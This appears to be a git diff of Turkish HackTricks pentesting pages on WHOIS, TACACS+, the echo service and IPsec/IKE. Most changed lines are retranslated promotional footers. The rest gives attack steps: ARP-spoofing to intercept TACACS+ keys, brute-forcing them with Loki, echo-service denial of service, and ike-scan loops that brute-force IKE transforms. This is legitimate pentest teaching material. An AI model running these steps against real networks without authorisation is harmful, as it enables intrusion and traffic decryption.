Protocol_Name: WHOIS #Protocol Abbreviation if there is one.
@ -61,14 +74,14 @@ Command: whois -h {IP} -p 43 {Domain_Name} && echo {Domain_Name} | nc -vn {IP} 4
```
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan Kahraman Olmaya AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* Hacking hilelerinizi [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da **takip edin**.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -2,63 +2,76 @@
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!</summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek istiyorsanız [ABONELİK PLANLARI](https://github.com/sponsors/carlospolop)'na göz atın!
* [Resmi PEASS & HackTricks ürünlerini](https://peass.creator-spring.com) edinin
* Özel [NFT'lerimizden](https://opensea.io/collection/the-peass-family) oluşan [The PEASS Family](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
* 💬 [Discord grubumuza](https://discord.gg/hRep4RUj7f) veya [telegram grubumuza](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) takip edin.
* Hacking ipuçlarınızı [HackTricks](https://github.com/carlospolop/hacktricks) ve [HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
</details>
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Temel Bilgiler
**Terminal Access Controller Access Control System (TACACS)** protokolü, yönlendiricilere veya Ağ Erişim Sunucularına (NAS) erişmeye çalışan kullanıcıları merkezi olarak doğrulamak için kullanılır. Geliştirilmiş versiyonu olan **TACACS+**, hizmetleri kimlik doğrulama, yetkilendirme ve hesaplama (AAA) olarak ayırır.
**Terminal Access Controller Access Control System (TACACS)** protokolü, router'lara veya Network Access Server (NAS) cihazlarına erişmeye çalışan kullanıcıları merkezi olarak doğrulamak için kullanılır. Güncellenmiş sürümü olan **TACACS+**, hizmetleri kimlik doğrulama, yetkilendirme ve hesaplama (AAA) olarak ayırır.
```
PORT STATE SERVICE
49/tcp open tacacs
```
**Varsayılan port:** 49
## Kimlik Doğrulama Anahtarını İntercept Etme
## Kimlik Doğrulama Anahtarını İzleme
Eğer istemci ve TACACS sunucusu arasındaki iletişim bir saldırgan tarafından ele geçirilirse, **şifrelenmiş kimlik doğrulama anahtarı ele geçirilebilir**. Saldırgan daha sonra bu anahtar üzerinde **günlüklerde tespit edilmeden yerel bir brute-force saldırısı deneyebilir**. Anahtarı brute-force ile başarıyla kırarsa, saldırgan ağ ekipmanına erişim elde eder ve Wireshark gibi araçlar kullanarak trafiği deşifre edebilir.
Eğer istemci ve TACACS sunucusu iletişimi bir saldırgan tarafından ele geçirilirse, **şifrelenmiş kimlik doğrulama anahtarı izlenebilir**. Saldırgan daha sonra anahtara karşı **günlüklerde tespit edilmeden yerel bir kaba kuvvet saldırısı deneyebilir**. Anahtarı kaba kuvvet saldırısıyla başarıyla çözerse, saldırgan ağ ekipmanlarına erişim elde eder ve Wireshark gibi araçlar kullanarak trafiği şifreleyebilir.
### MitM Saldırısı Gerçekleştirme
Bir **ARP spoofing saldırısı, Man-in-the-Middle (MitM) saldırısı gerçekleştirmek için kullanılabilir**.
Bir **ARP zehirleme saldırısı, Orta Adam (MitM) saldırısı gerçekleştirmek için kullanılabilir**.
### Anahtarı Brute-force İle Kırma
### Anahtarı Kaba Kuvvet Saldırısıyla Çözmek
Anahtarı brute-force ile kırmak için [Loki](https://c0decafe.de/svn/codename\_loki/trunk/) kullanılabilir:
[Loki](https://c0decafe.de/svn/codename\_loki/trunk/) anahtarın kaba kuvvet saldırısıyla çözülmesi için kullanılabilir:
```
sudo loki_gtk.py
```
Anahtar başarıyla **bruteforce** edildiğinde (**genellikle MD5 şifreli biçimde**), **donanıma erişebilir ve TACACS-şifreli trafiği çözebiliriz**.
Eğer anahtar başarılı bir şekilde **kaba kuvvet saldırısıyla** (**genellikle MD5 şifreli biçimde)** kırılırsa, **cihaza erişebilir ve TACACS ile şifrelenmiş trafiği çözebiliriz.**
### Trafik Çözme
Anahtar başarıyla kırıldıktan sonra, bir sonraki adım **TACACS-şifreli trafiği çözmektir**. Wireshark, anahtar sağlandığında şifreli TACACS trafiğiyle başa çıkabilir. Çözülen trafiği analiz ederek, **kullanılan banner ve yönetici kullanıcısının kullanıcı adı gibi bilgilere ulaşılabilir**.
Anahtar başarılı bir şekilde kırıldığında, bir sonraki adım **TACACS ile şifrelenmiş trafiği çözmektir**. Wireshark, şifreli TACACS trafiğiyle başa çıkabilir, eğer anahtar sağlanmışsa. Çözümlenmiş trafiği analiz ederek, **kullanılan banner ve yönetici kullanıcısının kullanıcı adı gibi bilgiler** elde edilebilir.
Elde edilen kimlik bilgilerini kullanarak ağ ekipmanının kontrol paneline erişim sağlayarak, saldırgan ağ üzerinde kontrol sağlayabilir. Bu eylemlerin sadece eğitim amaçlı olduğunu ve uygun yetkilendirme olmadan kullanılmaması gerektiğini unutmamak önemlidir.
Elde edilen kimlik bilgileri kullanılarak ağ ekipmanının kontrol paneline erişim sağlayarak, saldırgan ağ üzerinde kontrol sağlayabilir. Bu eylemlerin sadece eğitim amaçlı olduğunu ve uygun izin olmadan kullanılmaması gerektiğini unutmamak önemlidir.
## Referanslar
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github depolarına **PR göndererek paylaşın**.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks ve HackTricks Cloud** github depolarına katkıda bulunun.
</details>

View file

@ -1,22 +1,29 @@
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile öğrenin!</strong></summary>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**.
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
# Temel Bilgiler
Bu ana bilgisayarda bir echo servisi çalışıyor. Echo servisi, test ve ölçüm amaçları için tasarlanmış olup hem TCP hem de UDP protokollerinde dinleyebilir. Sunucu, aldığı herhangi bir veriyi değiştirmeden geri gönderir.\
**Aynı veya başka bir makinedeki echo servisine bir echo servisi bağlanarak hizmet reddine neden olmak mümkündür**. Etkilenen makineler, aşırı yüksek sayıda paket üretildiği için etkin bir şekilde hizmet dışı bırakılabilir.\
Bu ana makinede bir echo servisi çalışıyor. Echo servisi test ve ölçüm amaçlarıyla tasarlanmış olup hem TCP hem de UDP protokollerinde dinleyebilir. Sunucu, aldığı herhangi bir veriyi değiştirmeden geri gönderir.\
**Aynı veya başka bir makinedeki echo servisine bağlanarak hizmet reddine neden olmak mümkündür**. Üretilen aşırı yüksek paket sayısı nedeniyle etkilenen makineler hizmet dışı bırakılabilir.\
Bilgi kaynağı: [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
**Varsayılan Port:** 7/tcp/udp
@ -26,16 +33,6 @@ PORT STATE SERVICE
7/tcp open echo
```
## Echo servisine bağlanma (UDP)
UDP protokolü üzerinden Echo servisine bağlanmak için aşağıdaki adımları izleyebilirsiniz:
1. Hedef IP adresini ve port numarasını belirleyin.
2. Bir UDP soketi oluşturun ve hedef IP adresi ve port numarasıyla bağlantı kurun.
3. Bir mesaj oluşturun ve bu mesajı hedef IP adresine ve port numarasına gönderin.
4. Hedef sunucudan gelen yanıtı alın ve ekrana yazdırın.
5. Bağlantıyı kapatın ve soketi serbest bırakın.
Bu adımları takip ederek Echo servisine UDP protokolü üzerinden bağlanabilir ve iletişim kurabilirsiniz.
```bash
nc -uvn <IP> 7
Hello echo #This is wat you send
@ -52,16 +49,22 @@ Hello echo #This is the response
[CA-1996-01 UDP Port Denial-of-Service Attack](http://www.cert.org/advisories/CA-1996-01.html)
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile öğrenin!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* Şirketinizi **HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** istiyorsanız [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github depolarına **PR göndererek paylaşın**.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da takip edin.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -6,27 +6,35 @@
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Temel Bilgiler
**IPsec**, ağlar arasındaki iletişimleri (LAN'a LAN) güvence altına almak için temel teknoloji olarak kabul edilir ve uzaktan kullanıcılardan ağ geçidine (uzaktan erişim) hizmet vererek kurumsal VPN çözümleri için omurga görevi görür.
**IPsec**, ağlar arasındaki iletişimleri (LAN'a LAN) güvence altına almak için başlıca teknoloji olarak kabul edilir ve uzaktan kullanıcılardan ağ geçidine (uzaktan erişim) hizmet vererek kurumsal VPN çözümleri için omurga görevi görür.
İki nokta arasında bir **güvenlik birliği (SA)** oluşturulması **IKE** tarafından yönetilir ve kimlik doğrulama ve anahtar değişimi için tasarlanmış bir protokol olan ISAKMP'nin çatısı altında çalışır. Bu süreç birkaç aşamada gerçekleşir:
İki nokta arasında bir **güvenlik birliği (SA)** oluşturulması, kimlik doğrulama ve anahtar değişimi için tasarlanmış bir protokol olan **IKE** tarafından yönetilir ve ISAKMP'nin çatısı altında çalışır. Bu süreç birkaç aşamada gerçekleşir:
- **Faz 1:** İki uç nokta arasında güvenli bir kanal oluşturulur. Bu, bir Ön Paylaşılan Anahtar (PSK) veya sertifikaların kullanımıyla, üç çift mesaj içeren ana mod veya **agresif mod** kullanılarak gerçekleştirilir.
- **Faz 1.5:** Zorunlu olmasa da, bu aşama, Kullanıcı Kimliğini doğrulayan Genişletilmiş Kimlik Doğrulama Aşaması olarak bilinir ve bağlanmaya çalışan kullanıcının kimliğini kullanıcı adı ve şifre gerektirerek doğrular.
- **Faz 2:** Bu aşama, **ESP** ve **AH** ile verileri güvence altına almak için parametreleri müzakere etmeye adanmıştır. Faz 1'dekilerden farklı algoritmaların kullanılmasına izin verir ve **Mükemmel İleri Gizlilik (PFS)** sağlayarak güvenliği artırır.
- **Faz 1:** İki uç nokta arasında güvenli bir kanal oluşturulur. Bu, bir Ön Paylaşılan Anahtar (PSK) veya sertifikaların kullanımıyla, üç çift mesaj içeren ana mod veya **agresif mod** kullanılarak başarılır.
- **Faz 1.5:** Zorunlu olmasa da, Bu aşama, Kullanıcı Kimliğini doğrulayan ve bağlanmaya çalışan kullanıcının kimliğini doğrulayan Kullanıcı Adı ve Parola gerektiren Genişletilmiş Kimlik Doğrulama Aşaması olarak bilinir.
- **Faz 2:** Bu aşama, **ESP** ve **AH** ile verileri güvence altına almak için parametreleri müzakere etmeye adanmıştır. **Mükemmel İleri Gizlilik (PFS)** sağlamak için Faz 1'dekilerden farklı algoritmaların kullanılmasına izin verir, güvenliği artırır.
**Varsayılan port:** 500/udp
## nmap kullanarak hizmeti **Keşfedin**
## nmap kullanarak hizmeti keşfedin
```
root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
@ -38,7 +46,7 @@ MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
```
## **Geçerli bir dönüşüm bulma**
IPSec yapılandırması yalnızca bir veya birkaç dönüşümü kabul etmek üzere hazırlanabilir. Bir dönüşüm, değerlerin bir kombinasyonudur. **Her dönüşüm**, DES veya 3DES gibi **şifreleme algoritması**, SHA veya MD5 gibi **bütünlük algoritması**, bir önceden paylaşılan anahtar gibi **kimlik doğrulama türü**, Diffie-Hellman 1 veya 2 gibi anahtar **dağıtım algoritması** ve 28800 saniye gibi **ömür** içeren bir dizi özelliği içerir.
IPSec yapılandırması yalnızca bir veya birkaç dönüşümü kabul etmek üzere hazırlanabilir. Bir dönüşüm, değerlerin bir kombinasyonunu içerir. **Her dönüşüm**, DES veya 3DES gibi **şifreleme algoritması**, SHA veya MD5 gibi **bütünlük algoritması**, önceden paylaşılan bir anahtar gibi **kimlik doğrulama türü**, Diffie-Hellman 1 veya 2 gibi anahtar **dağıtım algoritması** ve 28800 saniye gibi **ömür** içeren bir dizi özelliğe sahiptir.
Dolayısıyla yapmanız gereken ilk şey, sunucunun sizinle iletişim kurmasını sağlayacak **geçerli bir dönüşüm bulmaktır**. Bunu yapmak için **ike-scan** aracını kullanabilirsiniz. Varsayılan olarak, Ike-scan ana modda çalışır ve bir ISAKMP başlığı ve içinde **sekiz dönüşüm bulunan tek bir teklifle** bir paket gönderir.
@ -53,14 +61,14 @@ VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
```
Görüldüğü gibi önceki yanıtta **AUTH** adında bir alan ve değeri **PSK** olan bir alan var. Bu, vpn'nin bir önceden paylaşılan anahtar kullanılarak yapılandırıldığı anlamına gelir (ve bu gerçekten bir pentester için iyidir).\
Görüldüğü gibi önceki yanıtta **AUTH** adında bir alan ve değeri **PSK** olan bir alan var. Bu, vpn'in bir önceden paylaşılan anahtar kullanılarak yapılandırıldığı anlamına gelir (ve bu gerçekten bir pentester için iyidir).\
**Son satırın değeri de çok önemlidir:**
* _0 dönüş el sıkışması; 0 dönüş bildirimi:_ Bu, hedefin **bir IPsec ağ geçidi olmadığını** gösterir.
* _**1 dönüş el sıkışması; 0 dönüş bildirimi:**_ Bu, **hedefin IPsec için yapılandırıldığını ve IKE müzakeresi yapmaya istekli olduğunu ve önerdiğiniz dönüşlerden bir veya daha fazlasının kabul edilebilir olduğunu** gösterir (geçerli bir dönüş çıktıda gösterilecektir).
* _0 dönüş el sıkışması; 1 dönüş bildirimi:_ VPN ağ geçitleri, **önerdiğiniz dönüşlerin hiçbirinin kabul edilebilir olmadığında bir bildirim mesajı ile yanıt verir** (ancak bazı ağ geçitleri bunu yapmaz, bu durumda daha fazla analiz ve revize edilmiş bir teklif denemelisiniz).
* _0 dönüş el sıkışması; 1 dönüş bildirimi:_ VPN ağ geçitleri, **önerdiğiniz dönüşlerin hiçbirinin kabul edilebilir olmadığında bir bildirim mesajı ile yanıt verir** (ancak bazı ağ geçitleri bunu yapmaz, bu durumda daha fazla analiz ve revize edilmiş bir öneri denemelisiniz).
Bu durumda zaten geçerli bir dönüşümümüz var ancak 3. durumdaysanız, geçerli bir dönüşüm bulmak için biraz **kaba kuvvet uygulamanız gerekecektir:**
Bu durumda zaten geçerli bir dönüşümümüz var ancak 3. durumdaysanız, geçerli bir dönüşüm bulmak için biraz **kaba kuvvet uygulamanız gerekir:**
Öncelikle tüm olası dönüşümleri oluşturmanız gerekmektedir:
```bash
@ -70,29 +78,29 @@ Ve ardından her birini ike-scan kullanarak kaba kuvvet saldırısı yapın (bu
```bash
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
```
Eğer brute-force çalışmadıysa, belki sunucu el sıkışmalar olmadan bile geçerli dönüşümlere yanıt veriyor. O zaman, aynı brute-force'u dene ancak agresif modu kullanarak:
Eğer brute-force işe yaramadıysa, belki sunucu geçerli dönüşümlere bile el sıkışmalar olmadan yanıt veriyor. O zaman, aynı brute-force'u deneyebilirsiniz ancak agresif modu kullanarak:
```bash
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
```
Umarım **geçerli bir dönüşüm yansıtılır**.\
Aynı saldırıyı **iker.py** kullanarak deneyebilirsiniz.\
Aynı saldırıyı yapmayı deneyebilirsiniz [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) kullanarak.\
Ayrıca [**ikeforce**](https://github.com/SpiderLabs/ikeforce) ile dönüşümleri kaba kuvvet uygulayabilirsiniz:
```bash
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
```
![](<../.gitbook/assets/image (109).png>)
**DH Group: 14 = 2048-bit MODP** ve **15 = 3072-bit** olarak belirtilir. **2 = HMAC-SHA = SHA1** (bu durumda). `--trans` formatı $Enc,$Hash,$Auth,$DH şeklindedir.
**DH Grubu: 14 = 2048-bit MODP** ve **15 = 3072-bit** olarak belirtilir. **2 = HMAC-SHA = SHA1** (bu durumda). `--trans` formatı ise $Enc,$Hash,$Auth,$DH şeklindedir.
Cisco, DH grupları 1 ve 2'nin yeterince güçlü olmadığını belirtir. Uzmanlar, **kaynakları bol olan ülkelerin** bu zayıf grupları kullanan verilerin şifresini kolayca kırabileceğine inanır. Bu, onları kodları hızlıca kırmak için hazırlayan özel bir yöntem kullanılarak yapılır. Bu yöntemi kurmak çok para harcamasına rağmen, bu güçlü ülkelerin, veriler şifrelenmişse ve zayıf bir grup kullanılıyorsa (örneğin 1.024-bit veya daha küçük), bu verileri gerçek zamanlı olarak okumalarına olanak tanır.
Cisco, DH grupları 1 ve 2'nin yeterince güçlü olmadığını belirtir. Uzmanlar, **kaynakları bol olan ülkelerin** bu zayıf grupları kullanan verilerin şifresini kolayca çözebileceğine inanır. Bu, onları kodları hızlıca kırmak için hazırlayan özel bir yöntem kullanılarak yapılır. Bu yöntemi kurmak oldukça pahalı olmasına rağmen, bu güçlü ülkelerin, veriler şifreleme grubu zayıf olduğunda (örneğin 1,024-bit veya daha küçük) şifrelenmiş verileri gerçek zamanlı olarak okumasına olanak tanır.
### Sunucu parmak izi alma
Daha sonra, cihazın **üreticisini keşfetmek** için ike-scan kullanabilirsiniz. Araç, bir başlangıç teklifi gönderir ve yeniden çalmayı durdurur. Ardından, sunucudan alınan mesajlar ile eşleşen yanıt deseni arasındaki **zaman farkını analiz ederek**, pentester VPN ağ geçidinin üreticisini başarılı bir şekilde belirleyebilir. Ayrıca, bazı VPN sunucuları IKE ile **isteğe bağlı Vendor ID (VID) yükü** kullanacaktır.
Daha sonra, cihazın **satıcısını keşfetmek** için ike-scan kullanabilirsiniz. Araç, bir başlangıç teklifi gönderir ve yeniden çalmayı durdurur. Ardından, sunucudan alınan mesajlar ile eşleşen yanıt deseni arasındaki **zaman farkını analiz ederek**, pentester VPN ağ geçidi satıcısını başarılı bir şekilde parmak izleyebilir. Ayrıca, bazı VPN sunucuları IKE ile **isteğe bağlı Vendor ID (VID) yükü** kullanacaktır.
Gerekirse geçerli dönüşümü belirtin (using --trans)
Eğer IKE, üreticiyi keşfederse, bunu yazdıracaktır:
Eğer IKE, satıcıyı keşfederse, bunu yazdıracaktır:
```
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
@ -116,24 +124,24 @@ Bu ayrıca nmap betiği _**ike-version**_ ile de başarılabilir.
## Doğru Kimliği (grup adını) Bulma
